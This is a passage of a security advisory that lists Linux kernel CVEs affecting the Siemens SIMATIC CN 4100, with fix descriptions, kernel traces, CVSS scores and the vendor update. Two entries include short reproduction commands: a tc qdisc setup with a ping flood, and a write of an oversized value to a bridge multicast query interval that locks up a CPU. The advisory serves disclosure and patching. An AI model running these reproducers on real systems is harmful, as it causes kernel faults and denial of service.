SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39766\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: Make cake_enqueue return NET_XMIT_CN when past buffer_limit The following setup can trigger a WARNING in htb_activate due to the condition: !cl->leaf.q->q.qlen tc qdisc del dev lo root tc qdisc add dev lo root handle 1: htb default 1 tc class add dev lo parent 1: classid 1:1 \\ htb rate 64bit tc qdisc add dev lo parent 1:1 handle f: \\ cake memlimit 1b ping -I lo -f -c1 -s64 -W0.001 127.0.0.1 This is because the low memlimit leads to a low buffer_limit, which causes packet dropping. However, cake_enqueue still returns NET_XMIT_SUCCESS, causing htb_enqueue to call htb_activate with an empty child qdisc. We should return NET_XMIT_CN when packets are dropped from the same tin and flow. I do not believe return value of NET_XMIT_CN is necessary for packet drops in the case of ack filtering, as that is meant to optimize performance, not to signal congestion.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39770\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 (\"net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets\"): \"The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices.\" kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-573 Improper Following of Specification by Caller\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39772\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/hisilicon/hibmc: fix the hibmc loaded failed bug When hibmc loaded failed, the driver use hibmc_unload to free the resource, but the mutexes in mode.config are not init, which will access an NULL pointer. Just change goto statement to return, because hibnc_hw_init() doesn't need to free anything.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39773\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 > /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff > /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a (\"net: bridge: mcast: add and enforce query interval minimum\"), add check for the query interval maximum to fix this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39776\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/debug_vm_pgtable: clear page table entries at destroy_args() The mm/debug_vm_pagetable test allocates manually page table entries for the tests it runs, using also its manually allocated mm_struct. That in itself is ok, but when it exits, at destroy_args() it fails to clear those entries with the *_clear functions. The problem is that leaves stale entries. If another process allocates an mm_struct with a pgd at the same address, it may end up running into the stale entry. This is happening in practice on a debug kernel with CONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra debugging I added (it prints a warning trace if pgtables_bytes goes negative, in addition to the warning at check_mm() function): [ 2.539353] debug_vm_pgtable: [get_random_vaddr ]: random_vaddr is 0x7ea247140000 [ 2.539366] kmem_cache info [ 2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508 [ 2.539447] debug_vm_pgtable: [init_args ]: args->mm is 0x000000002267cc9e (...) [ 2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0 [ 2.552816] Modules linked in: [ 2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY [ 2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries [ 2.552872] NIP: c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90 [ 2.552885] REGS: c0000000622e73b0 TRAP: 0700 Not tainted (6.12.0-105.debug_vm2.el10.ppc64le+debug) [ 2.552899] MSR: 800000000282b033 CR: 24002822 XER: 0000000a [ 2.552954] CFAR: c0000000008f03f0 IRQMASK: 0 [ 2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001 [ 2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff [ 2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000 [ 2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb [ 2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0 [ 2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000 [ 2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001 [ 2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760 [ 2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0 [ 2.553185] LR [c0000000007eef30] free_pud_range+0x8b0/0x8d0 [ 2.553199] Call Trace: [ 2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable) [ 2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0 [ 2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570 [ 2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650 [ 2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290 [ 2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0 [ 2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870 [ 2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150 [ 2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50 [ 2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0 [ 2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec (...) [ 2.558892] ---[ end trace 0000000000000000 ]--- [ 2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1 [ 2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144 Here the modprobe process ended up with an allocated mm_struct from the mm_struct slab that was used before by the debug_vm_pgtable test. That is not a problem, since the mm_stru ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39782\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39783\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Fix configfs group list head handling Doing a list_del() on the epf_group field of struct pci_epf_driver in pci_epf_remove_cfs() is not correct as this field is a list head, not a list entry. This list_del() call triggers a KASAN warning when an endpoint function driver which has a configfs attribute group is torn down: ================================================================== BUG: KASAN: slab-use-after-free in pci_epf_remove_cfs+0x17c/0x198 Write of size 8 at addr ffff00010f4a0d80 by task rmmod/319 CPU: 3 UID: 0 PID: 319 Comm: rmmod Not tainted 6.16.0-rc2 #1 NONE Hardware name: Radxa ROCK 5B (DT) Call trace: show_stack+0x2c/0x84 (C) dump_stack_lvl+0x70/0x98 print_report+0x17c/0x538 kasan_report+0xb8/0x190 __asan_report_store8_noabort+0x20/0x2c pci_epf_remove_cfs+0x17c/0x198 pci_epf_unregister_driver+0x18/0x30 nvmet_pci_epf_cleanup_module+0x24/0x30 [nvmet_pci_epf] __arm64_sys_delete_module+0x264/0x424 invoke_syscall+0x70/0x260 el0_svc_common.constprop.0+0xac/0x230 do_el0_svc+0x40/0x58 el0_svc+0x48/0xdc el0t_64_sync_handler+0x10c/0x138 el0t_64_sync+0x198/0x19c ... Remove this incorrect list_del() call from pci_epf_remove_cfs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39787\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: soc: qcom: mdt_loader: Ensure we don't read past the ELF header When the MDT loader is used in remoteproc, the ELF header is sanitized beforehand, but that's not necessary the case for other clients. Validate the size of the firmware buffer to ensure that we don't read past the end as we iterate over the header. e_phentsize and e_shentsize are validated as well, to ensure that the assumptions about step size in the traversal are valid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39788\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: ufs: exynos: Fix programming of HCI_UTRL_NEXUS_TYPE On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0. This is because the left hand side of the shift is 1, which is of type int, i.e. 31 bits wide. Shifting by more than that width results in undefined behaviour. Fix this by switching to the BIT() macro, which applies correct type casting as required. This ensures the correct value is written to UTRL_NEXUS_TYPE (0xffffffff on gs101), and it also fixes a UBSAN shift warning: UBSAN: shift-out-of-bounds in drivers/ufs/host/ufs-exynos.c:1113:21 shift exponent 32 is too large for 32-bit type 'int' For consistency, apply the same change to the nutmrs / UTMRL_NEXUS_TYPE write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39790\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. The host uses this pointer to process all of the TREs between it and the host's local copy of the ring's read pointer. This works when processing completion for chained transactions, but can lead to nasty results if the device sends an event for a single-element transaction with a read pointer that is multiple elements ahead of the host's read pointer. For instance, if the host accesses an event ring while the device is updating it, the pointer inside of the event might still point to an old TRE. If the host uses the channel's xfer_cb() to directly free the buffer pointed to by the TRE, the buffer will be double-freed. This behavior was observed on an ep that used upstream EP stack without 'commit 6f18d174b73d (\"bus: mhi: ep: Update read pointer only after buffer is written\")'. Where the device updated the events ring pointer before updating the event contents, so it left a window where the host was able to access the stale data the event pointed to, before the device had the chance to update them. The usual pattern was that the host received an event pointing to a TRE that is not immediately after the last processed one, so it got treated as if it was a chained transaction, processing all of the TREs in between the two read pointers. This commit aims to harden the host by ensuring transactions where the event points to a TRE that isn't local_rp + 1 are chained. [mani: added stable tag and reworded commit message]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.7\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39794\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: tegra: Use I/O memcpy to write to IRAM Kasan crashes the kernel trying to check boundaries when using the normal memcpy.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39795\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t->chunk_sectors value is a multiple of the t->physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39798\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix the setting of capabilities when automounting a new filesystem Capabilities cannot be inherited when we cross into a new filesystem. They need to be reset to the minimal defaults, and then probed for again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-273 Improper Check for Dropped Privileges\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39800\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: abort transaction on unexpected eb generation at btrfs_copy_root() If we find an unexpected generation for the extent buffer we are cloning at btrfs_copy_root(), we just WARN_ON() and don't error out and abort the transaction, meaning we allow to persist metadata with an unexpected generation. Instead of warning only, abort the transaction and return -EUCLEAN.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39801\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: dwc3: Remove WARN_ON for device endpoint command timeouts This commit addresses a rarely observed endpoint command timeout which causes kernel panic due to warn when 